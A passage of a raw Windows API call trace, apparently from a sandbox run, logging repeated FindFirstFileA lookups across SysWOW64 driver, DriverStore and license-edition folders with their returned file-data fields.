ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.017] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\drivers\\UMDF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501550, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.017] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\drivers\\UMDF\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22894196, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.018] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\DriverStore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e5555ab, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.019] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\DriverStore\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e5555ab, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e5555ab, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.019] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\DriverStore\\FileRepository\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf441e2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xb61a3233, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.029] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\el-GR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a531010, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2a531010, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.031] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2a531010, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2a531010, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.031] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a615850, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2a615850, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f90c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.077] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154c, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.078] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.078] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.079] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.080] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.080] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.081] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.082] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.082] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.083] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.083] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.084] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.085] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.085] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.086] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.087] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\StarterE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.088] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.089] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.090] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.091] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\eval\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.091] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.091] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.092] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.092] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.093] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.093] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.094] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.094] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.095] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.095] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.096] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.096] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.097] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.097] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.119] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\en-US\\Licenses\\OEM\\StarterE\\*.*", 